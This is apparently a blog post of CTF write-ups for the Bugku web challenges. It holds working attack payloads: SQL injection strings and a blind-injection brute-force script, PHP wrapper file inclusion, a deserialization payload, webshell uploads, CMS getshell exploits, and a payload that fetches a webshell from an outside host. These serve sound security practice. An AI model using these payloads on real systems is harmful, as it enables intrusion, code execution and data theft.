Bugku旧平台web writeup

原创

a370793934 于 2019-11-27 16:30:47 发布 1489 收藏
分类专栏： WriteUp 文章标签： Bugku web writeup ctf

本文链接：https://blog.csdn.net/a370793934/article/details/103278240

Web基础

Web2

查看网页源代码，搜索flag

KEY{Web-2-bugKssNNikls9100}

计算器

审查元素修改输入字符串长度为2

flag{CTF-bugku-0032}

web基础$_GET

http://123.206.87.240:8002/get/?what=flag

flag{bugku_get_su8kej2en}

web基础$_POST

http://123.206.87.240:8002/post/

post数据what=flag

flag{bugku_get_ssseint67se}

矛盾

代码审查

http://123.206.87.240:8002/get/index1.php?num=1a

flag{bugku-789-ps-ssdf}

Web3

查看网页源代码，html实体编码，新建html文件复制进去打开

KEY{J2sa42ahJK-HS11lll}

域名解析

编辑hosts添加

123.206.87.240 flag.baidu.com

再访问flag.baidu.com拿到flag

KEY{DSAHDSJ82HDS2211}

你必须让他停下

bs抓包停止，重发器点击重发

直到10.jpg返回显示flag

flag{dummy_game_1s_s0_popular}

本地包含

代码审计

构造hello=file("flag.php")或者

用到一个PHP函数：file_get_contents()，

http://123.206.87.240:8003/?hello=file_get_contents('flag.php')

再看源码

flag{bug-ctf-gg-99}

变量1

代码审计

$$args用GLOBALS全局变量覆盖，构造

http://123.206.87.240:8004/index1.php?args=GLOBALS

flag{92853051ab894a64f7865cf3c2128b34}

Web5

提示jsfuck编码，查看源代码

复制编码，输入控制台显示ctf{whatfk}，flag要大写

CTF{WHATFK}

头等舱

源代码里没有flag

bs抓包，在响应头里发现flag

flag{Bugku_k8_23s_istra}

网站被黑

用御剑扫描一下，发现一个shell.php

用bs抓包，发送到测试器破译密码：

flag{hack_bug_ku035}

管理员系统

查看源代码，往下拉发现<!-- dGVzdDEyMw== -->

base64解码为test123，猜测是密码，用户名admin登录失败提示ip锁定

bs抓包头部添加x-forwarded-for: 127.0.0.1发送收到

The flag is: 85ff2ee4171396724bae20c0bd851f6b

flag{85ff2ee4171396724bae20c0bd851f6b}

Web4

查看源码将源码中的%xx字符串拼到一起url编码解码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getEle

代码审计

将字符串67d709b2b54aa2aa648cf6e87a7114f1输入原网页得到

KEY{J22JK-HS11}

flag在index里

构造

http://123.206.87.240:8005/post/?file=php://filter/read=convert.base64-encode/resource=index.php

base64转码后得到

```
<html>
    <title>Bugku-ctf</title>


<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
```

flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

提示5位数字bs抓包密码爆破13579时得到flag

flag{bugku-baopo-hah}

点击一百万次

查看源码

```
 if(clicks >= 1000000){
                var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
```

```
        }
```

所以构造post内容clicks=100000000得到flag

flag{Not_C00kl3Cl1ck3r}

备份是个好习惯

御剑扫描到index.php.bak打开

代码审计

```
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>
```

整段代码的意思是将get的两个参数中的key替换为空（这里可以用kekeyy绕过），然后对key1,key2的值进行md5加密，并进行比较，

如果md5加密的值一样而未加密的值不同，就输出flag.

可以用两个数组进行绕过?kkeyey1[]=1&kkeyey2[]=2

或是使用哈希值为0E开头的字符串，常见的字符串有这几种

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

这是两种绕过方法。

构造 http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708 得flag

Bugku{OH_YOU_FIND_MY_MOMY}

成绩单

输入1,2,3都能查询到学生的成绩，下面尝试：

输入1'，返回异常；输入1'--+，返回异常；输入1'#，返回正常。说明--+被过滤了，用#可以正常注释。

然后猜字段，根据页面有名字，三个成绩，可能是四个字段，于是1' order by 4#，无异常，而1' order by 5#返回异常，说明有四个字段。

接着开始注入，

(1)暴库：-1' union select 1,2,3,database()# 得到数据库名：skctf_flag

(2)暴表：-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'# 得到表表名：fl4g 与 sc，flag应该在fl4g里

(3)爆字段：-1' union select 1,2,3,group_concat(column_name) from information_columns where table_name='fl4g'# 得到字段名：skctf_flag

(4)爆值-1' union select 1,2,3,skctf_flag from fl4g# 拿到flag

或者直接用sqlmap工具爆破

>python sqlmap.py -r 1.txt --current-db --dump --batch

BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

python脚本快速提交：

```
#coding:utf-8

import requests

import re

url = "http://123.206.87.240:8002/qiumingshan/"

s = requests.session()

r = s.get(url).content

reg = re.compile(r">(.*)=")

rr = re.findall(reg,r)[0]

data = {"value":eval(rr)}
```

po = s.post(url,data)

print(po).content

返回

Bugku{YOU_DID_IT_BY_SECOND}

速度要快

意思就是让我们上传一个我们得到的margin，用bp抓包，在repeater中go会发现在response中有flag，但是多go几次发现flag会变化，而且flag看着像是base64编码，于是解码试试，还真能解出来，但是肯定不对，因为既让每次的flag都不一样，那么一次解出来的肯定不对，于是想到写个脚本来读取headers中的flag再解码后post来尝试。

源码是让上传一个margin，百度一下这个单词，发现是css的一个属性，是说边框的长宽等属性的，于是猜想上传的是数字，将bp里的flag解码两次，正好就是数字(类似于宽和高)，于是才在脚本中进行了两次base64解码。

python脚本：

#coding:utf-8

import requests

import base64

url = "http://123.206.87.240:8002/web6/"

s = requests.session()

r = s.get(url)

flag = r.headers["flag"]

decflag = base64.b64decode(flag)

splflag = decflag.split(": ")[1]

endflag = base64.b64decode(splflag)

data = {"margin":endflag}

po = s.post(url,data)

print(po).content

返回flag

KEY{111dd62fcd377076be18a}

cookies欺骗

打开网页，一串毫无作用的字符串，不用管，看url发现，好像有base64编码，而且有line且没有值。

将base64解码，发现是文件名keys.txt(猜想可能flag在这个文件里)，这里我们试试index.php，于是将index.php用base64加密，放在原来文件名的地方，且将line后面加上值，会发现页面有回显，改变line的值其显示的东西不一样，由于一个个改太麻烦，写个脚本看看究竟显示的是什么：

```
#coding:utf-8

import requests


urls = ["http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i) for i in range(30)]

s = requests.session()

for url in urls:

r = s.get(url)

print(r.content)
```

然后得到下面的php程序：

```
<?php error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php', );

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')//cookie要求margin=margin

{ $file_list[2]='keys.php'; //把keys.php添加进数组

}

if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }

?>
```

由于题上也说了是cookies欺骗，于是我们着重看cookies这一段，发现可能目的是让margin元素的值等于margin，

于是打开bs抓包，网页GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1（a2V5cy5waHA=为keys.php得base64加密）

cookies为Cookie: margin=margin，发送得到返回<?php $key='KEY{key_keys}'; ?>flag：

KEY{key_keys}

never give up

0x00 前言

此题为 Web 基础题，难度中低，需要的基础知识有：HTML、PHP、HTTP 协议。

首先考查发现源码的能力，其次重点考查 PHP 黑魔法的使用

0x01 拦截跳转

点开解题链接，除了一句 never never never give up !!! 之外空空如也，直接查看源码，发现一条注释中有线索：

hello_php_source

根据提示打开链接：http://120.24.86.145:8006/test/1p.html，发现跳转回 Bugku 的主站，所以祭出 BurpSuite 进行抓包拦截。

0x02 三重解码

根据响应内容中变量 Words 的值，容易得出是一段 URL 编码后的数据：

对其进行解码，得到一条 Javascript 语句与一大段注释，易看出注释中的内容是一段 Base64 编码后的数据：

将注释中的内容进行解码，发现又是一大段 URL 编码后的数据：

进行 URL 解码后，终于得到一段不完整的 PHP 核心源码：

```
";if(!$_GET['id'])

{

header('Location: hello.php?id=1');

exit();

}

id=id=_GET['id'];

a=a=_GET['a'];

b=b=_GET['b'];

if(stripos($a,'.'))

{

echo 'no no no no no no no';

return ;

}

data=@filegetcontents(data=@filegetcontents(a,'r');

if($data=="bugku is a nice plateform!" and id==0andstrlen(id==0andstrlen(b)>5 and
eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{
```

```
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
```

其中各条核心语句的作用如下：

第 1 行：限制 URL 查询字符串中必须有非空非零变量 id

第 9 行：限制变量 $a 中不能含有字符 .

第 15 行：要满足以下 5 条表达式才会爆 flag：

变量 $data 弱等于字符串 bugku is a nice plateform!

变量 $id 弱等于整型数 0

变量 $b 的长度大于 5

字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配

变量 $b 的第一个字符弱不等于整型数 4

注意，源码中已暴露出 flag 文件，有可能是出题人的失误，也有可能是出题人故意用第 15 行复杂的语句迷惑你，实际上可以绕过。因此，直接访问链接 http://123.206.87.240:8006/test/f4l2a3g.txt 即可获得 flag。

不过，第 15 行的语句也是可解的（应该也是此题的本意），请继续往下看。

0x03 PHP 黑魔法

本节分别针对源码中 $id、$a、$b 三个变量需要满足的条件进行讲解。

变量 $id 若想满足非空非零且弱等于整型数 0，则 $id 的值只能为非空非零字符串，这里假设 $id = "asd"。

有关 PHP 类型比较的详情可参考：PHP 类型比较表

PHP 伪协议

源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得，所以 $a 的值必须为数据流。

在服务器中自定义一个内容为 bugku is a nice plateform! 文件，再把此文件路径赋值给 $a，显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流，其中 php://input可以访问原始请求数据中的只读流。这里令 $a = "php://input"，并在请求主体中提交字符串 bugku is a nice plateform!。

有关 PHP 伪协议的详情可参考：支持的协议和封装协议

eregi() 截断漏洞

CTF 题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞，即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

源码中待匹配字符串（第二个参数）已确定为 "1114"，正则表达式（第一个参数）由 "111" 连接 $b 的第一个字符组成，若令 substr($b,0,1) = "\x00"，即满足 "1114" 与 "111"匹配。因此，这里假设 $b = "\x0012345"，才能满足以上三个条件。

有关 PHP 的各种黑魔法可参考：

PHP函数黑魔法小总结

CTF之PHP黑魔法总结

那些年学过的PHP黑魔法

0x04 构造 payload 爆 flag

分析出以上三个变量应该等于什么值后，接下来构造出对应的 payload 自然就 get flag 了。之所以将构造 payload 单独拿出来讲，是想分享笔者在构造 payload 过程中踩过的坑。

在构造变量 b 中的空字符时，过早将空字符 \x00 放入，在提交请求时导致请求头截断，继而请求失败，得不到响应。

wrong_payload

因为 b 是 URL 查询字符串中的变量，不应该在此放入空字符 \x00，而应该为空字符的 URL 编码 %00。注意，虽然 b=%0012345 实际字符串长度为 8 字节，但在后台脚本读入数据时，会将 URL 编码 %00 转换成 1 字节。所以说，空字符应该在后台脚本的变量中出现，而不是在 URL 查询字符串变量中出现。

构造出正确的 payload 后，完成此题常规思路的做法：

http://123.206.87.240:8006/test/hello.php?id=0a&a=php://input&b=%0012345

flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

首先查看源码，

```
<!--

$user = $_GET["txt"];

$file = $_GET["file"];

$pass = $_GET["password"];


if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){

    echo "hello admin!<br>";

    include($file); //hint.php

}else{
```

```
    echo "you are not admin ! ";
}
 -->
```

意思就是user接收到的txt的值为welcome to the bugkuctf，之后会执行if中的语句，而且会包含一个文件，根据提示这个文件就是hint.php了，这里用到两个php的协议，向php传递txt和file的值的时候，用到：php://input 和 php://filter.

用hackbar传递：

http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

post内容：welcome to the bugkuctf

会出现一段base64码，拿去解码，得到一段代码（hint.php文件的代码）：

```
<?php

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}
?>
```

到这里好像卡住了，于是再利用上面的php://filter协议查看index.php的代码：

```
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
```

```
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}


?>
```

结合着网页源代码，发现，flag应该在flag.php中，但是我们如果传递flag.php，会被preg_match()正则匹配到，所以重点就在password那一段，但是这里有一个password的反序列化，就是说我们不能被正则匹配到，而且我们传递的password还是要被序列化过的。

于是我们用一段php代码：

```
//php序列化
<?php
class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
echo "<br>";
return ("good");
        }
    }
}


$a=new Flag();
```

$a->file="flag.php";

$a=serialize($a);

print($a);

?>

得到：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后将得到的结果传给password：

http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

post内容：welcome to the bugkuctf

查看源码就得到flag了。

解释一下为什么要这么做：从上面的password那一段，我们需要将password序列化，而且我们的目标是输出flag，即输出flag.php的内容，所以我们根据hint.php（能将文件内容输出）创建一个Flag类$a，然后将flag.php赋值给该类中的file变量，此时对于a来说，a所包含的就是Flag类中的内容（其中有echo file_get_contents($this->file);），所以当我们将啊序列化后传递然后由password接收再反序列化，此时的password就是我们代码中的a，我们输出password的时候就等于输出了a（其中有echo file_get_contents($this->file);），所以这样就能输出flag了。

flag{php_is_the_best_language}

过狗一句话

观察提示：

<?php

$poc="a#s#s#e#r#t";

$poc_1=explode("#",$poc);

$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];

$poc_2($_GET['s']);

?>

就是说将poc以#为分隔符截开赋给poc_1，再将poc_1数组中的元素连接赋给poc_2，完成后poc_2就是assert，所以最后一句就是assert($_GET['s'])，所以就是执行$_GET['s']。

这个题需要扫描一下当前目录下的文件，用到scandir()，构造payload：http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

还以用此技巧读取其他文件

?s=print_r(readfile('../etc/hosts'))

?s=print_r(fopen('../etc/hosts','r'))

print_r输出数组，scandir扫描当前文件夹并以数组形式返回

于是用url：http://123.206.87.240:8010/f14g.txt

就拿到flag了。

BUGKU{bugku_web_009801_a}

字符？正则？

打开网页，代码的意思就是我们要传递一个id使其满足正则表达式。

"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"

对应这个正则表达式来写id的值，参考下面的符号：

1.表达式直接写出来的字符串直接利用，如key

2.“.”代表任意字符

3.“*”代表一个或一序列字符重复出现的次数，即前一个字符重复任意次

4.“\/”代表“/”

5.[a-z]代表a-z中的任意一个字符

6.[[:punct:]]代表任意一个字符，包括各种符号

7./i代表大小写不敏感

8.{4-7}代表[0-9]中数字连续出现的次数是4-7次

于是构造一个payload（不唯一）：

地址http://123.206.87.240:8002/web10/?id=key2key22222key:/f/keyz;

或者http://123.206.87.240:8002/web10/?id=key1key1111key:/1/1keya.

就能拿到flag了。

KEY{0x0SlOPh550afc}

前女友(SKCTF)

查看源代码，有个code.txt，打开看看什么意思：

```
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
```

```
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
```

意思是：传递v1，v2，v3的值，而且v1，v2的md5加密值相同（可以用数组绕过，MD5处理数组返回null），然后v3的值要和flag的值相等（利用strcmp()函数的漏洞）

构造payload：http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=

或者http://123.206.31.85:49162/?v1=240610708&v2=QNKCDZO&v3[]=

就拿到flag了

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

题目有hint：SQL约束攻击

约束攻击基本原理就是sql查找时会过滤掉空格，我们注册时用一直账号加上空格为用户名，然后就能用我们这个登陆过滤掉空格后的真实账号才能登陆的系统

当我们尝试用admin注册时，提示已经被注册，那这个可能就是管理员账号了。

根据SQL约束攻击原理，我们这样注册：

用户名：admin　　（admin后面有很多空格）

密码按照要求随便设。

再用注册成功的账号登陆就拿到flag了。

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

你从哪里来

打开网页出现：are you from google?

貌似是让用Google进入，然而并不行，其实是将referer设为https://www.google.com

就拿到flag了

flag{bug-ku_ai_admin}

md5 collision(NUPT_CTF)

md5弱类型，构造

http://123.206.87.240:9009/md5.php?a=aabC9RqS

flag{md5_collision_is_easy}

程序员本地网站

打开并发现不了什么，由本地想到构造X-Forwarded-For头

x-forwarded-for: 127.0.0.1

flag{loc-al-h-o-st1}

各种绕过

代码审计

http://123.206.87.240:8002/web7/?id=%6d%61%72%67%69%6e&uname[]=b

post内容：passwd[]=a

flag{HACK_45hhs_213sDD}

Web8

代码审计

http://123.206.87.240:8002/web8/?ac=a&fn=php://input

Post内容：a

flag{3cfb7a90fc0de31}

细心

御剑扫描到robots.txt

访问发现了resusl.php，于是再访问resusl.php，出现

这有代码，再结合题目说变成admin，于是传递x=admin就拿到flag了。

flag(ctf_0098_lkji-s)

求getshell

上传一个png文件发现提示My name is margin,give me a image file not a php

然后也尝试上传php文件，但是依然不行，这里显然对文件类型和后缀进行了检测，

文件类型，改字母大写绕过：Content-Type: Multipart/form-data; boundary=--------------------------2942023369

后缀检测，在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml（php的别名），发现只有php5没有被过滤

KEY{bb35dc123820e}

INSERT INTO注入

题目给了源码

```
error_reporting(0);


function getIp(){
        $ip = '';
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }else{
                $ip = $_SERVER['REMOTE_ADDR'];
        }
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
```

由上可以发现，在10行的时候$ip被截取了．explode函数的作用是按规则拆分为数组．例如：explode(" ",$str)

参考http://www.qingpingshan.com/m/view.php?aid=389224

这是X_FORWARDED_FOR注入，但是过滤了,在,被过滤的情况下，无法使用if语句

当然在mysql下除了if还有

select case when xxx then xxx else xxx end;

而且由于,被过滤，无法使用substr和substring，但是这里可以使用from 1 for 1替代，最后payload如下

11'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23

python 脚本

```
#coding:utf-8
#字符长度直接手工测的
import requests
url = 'http://123.206.87.240:8002/web15/'
flag=""

#data = 11'  and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名 长度为14
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#client_ip,flag

#data = 11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段 长度为4
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#flag

#data = 11'  and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆内容 长度为32
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
```

```
for i in range(1,33):
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
        # print data
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout, e:
            flag += str1
            print flag
            break
print 'flag:' + flag
```

flag{cdbf14c9551d5be5612f7bb5d2867853}

这是一个神奇的登陆框

（该题可拿到站点webshell）

sql注入可以使用sqlmap

bs抓包，保存1.txt到sqlmap目录

运行命令：python .\sqlmap.py -r 1.txt --current-db --dump --batch

可以看到爆出了flag：

flag{ed6b28e684817d9efcaf802979e57aea}

多次

登陆后发现页面没有啥信息，但是url地址栏？id=1 可能存在注入

id=1后面加单引号会报错，后面加--+注释返回正常，确定存在SQL注入

?id=1'or 1=1--+ 也报错，可能存在过滤

尝试双写绕过，?id=1'oorr 1=1--+ 返回正常

那如何检测哪些字符串被过滤了呢？新技能GET！

异或注入了解一下，两个条件相同（同真或同假）即为假

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回页面显示正常，那就证明length('union')==0的，也就是union被过滤了

同理测试出被过滤的字符串有：and，or，union，select

都用双写来绕过，payload如下：

爆数据表 (注意：information里面也有or)

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

爆字段

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

爆数据

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+

提交flag显示错误，换个字段，爆address，得出下一关地址

Once_More.php

进去又是一个SQL注入

大小写绕过pass，双写绕过pass

这里利用 updatexml() 函数报错注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串)，如果不了解Xpath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

作用：改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为：

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函数是将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload 如下

查数据表

http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

查字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23

查数据

?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

最后爆出 flag

flag{bugku-sql_6s-2i-4t-bug}

PHP_encrypt_1(ISCCCTF)

给出了一个 encrypt 函数和一串密文

```
<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) {
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
} ?>
```

output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxlWJ1UYFhotFjA=

根据 encrypt 函数写对应的 decrypt

```
<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
```

```
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxlWJ1UYFhotFjA=";
decrypt($str);
?>
```

FLAG -> Flag:{asdqw*fasfd*wfefq*dqwdadwq*daw*}

flag:{asdqw*fasfd*wfefq*dqwdadwq*daw*}

文件包含2

打开网页查看源代码，在最上面发现upload.php，于是我们就访问这个文件：
http://123.206.31.85:49166/index.php?file=upload.php

发现是让我们上传文件，然而，我们上传了并没什么用，但是下面说出了文件的位置。

这里我们构造一个文件再上传（这里构造的文件再上传用到的应该是XSS的知识）

创建一个文本文件并输入：<script language=php>system("ls")</script>，然后将文件后缀改为jpg，保存上传。

(XSS的原理就是向网页源码中插入代码，system是调用系统命令，ls是查看当前文件夹的文件)

上传后我们访问文件所在位置：http://123.206.31.85:49166/index.php?file=upload/201812151107258968.jpg

看到一个txt文件，里面应该有flag，于是访问一下http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt

就拿到flag了。

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

WEB进阶

phpcmsV9

这题叫道理应该是考phpcmsv9的漏洞的，但是挂了，连注册都注册不了.....

不过有个非预期解，访问一个robots.txt居然就看到flag了，交一发还是对的.....

正确的解法应该是找到注册页面

填写了以后在post数据最后加一句&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php#.jpg>

最后的整体数据就是
siteid=1&modelid=11&username=rouji&password=rouji123&email=156046546@qq.com&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php#.jpg>&dosubmit=1&protocol=

链接是bugku的小马，然后复制repeater的返回包的链接就可以连菜刀了

flag{admin_a23-ae2132_key}

海洋CMS

这是海洋cms模版的前台getshell漏洞，构造的payload都是固定的。该模版用了eval函数，并且在用之前没有足够的检测，所以会出现问题。

利用构造payload

url：http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀，那密码是什么呢，是9[]，不是9。连接菜刀查看flag

flag{felege-ctf-2017_04}

小明的博客

靶场已被破坏

Bugku-cms1

Step1:扫目录

分析扫描结果可以看到一个/data目录

看看里面有什么东西，访问之后，发现一个sql文件，下载下来查看

文件中包含了用户名和密码，查找一下admin，发现有两个账户

admin和admin888，密码是md5加密，在线解密可得。

Step2：后台登录

没有扫到后台管理，自己测试，在url后添加/admin，竟然就是后台

利用第一步中的账户密码去尝试一下，发现admin888才是管理员

根据题目提示，后台可以getshell，那么找上传点，在栏目内容管理里有添加页面内容

Step3：上传图片马

利用php一句话和图片生成图片马，比如1.jpg，修改后缀为1.jpg;.php

然后在系统全局设定里，文件上传类型添加php，接着上传成功

在服务器文件管理模块里的页面内容上传图片找到刚才上传的图片

访问一下，然后用菜刀连接

Step4：上菜刀

在web目录下发现flag

代码审计

extract变量覆盖

http://123.206.87.240:9009/1.php?shiyan=&flag=php://input

flag{bugku-dmsj-p2sm3N}

strcmp比较字符串

http://123.206.87.240:9009/6.php?a[]=

flag{bugku_dmsj_912k}

urldecode二次编码绕过

http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%6

flag{bugku__daimasj-1t2}

md5()函数

http://123.206.87.240:9009/18.php?username[]=a&password[]=b

flag{bugk1u-ad8-3dsa-2}

数组返回NULL绕过

http://123.206.87.240:9009/19.php?password[]=

或者http://123.206.87.240:9009/19.php?password=1%00--

flag{ctf-bugku-ad-2131212}

弱类型整数大小比较绕过

http://123.206.87.240:9009/22.php?password=9999a

或者http://123.206.87.240:9009/22.php?password=9999%00

flag{bugku_null_numeric}

sha()函数比较绕过

http://123.206.87.240:9009/7.php?name[]=a&password[]=b

flag{bugku--daimasj-a2}

md5加密相等绕过

http://123.206.87.240:9009/13.php?a=aabg7XSs

flag{bugku-dmsj-am9ls}

十六进制与数字比较

http://123.206.87.240:9009/20.php?password=0xDEADC0DE

flag{Bugku-admin-ctfdaimash}

变量覆盖

http://120.24.86.145:9009/bianliang/?a=&b=php://input

flag{num_test_administrator}

ereg正则%00截断

http://123.206.87.240:9009/5.php?password[]=

或者http://123.206.87.240:9009/5.php?password=1e9%00*-*

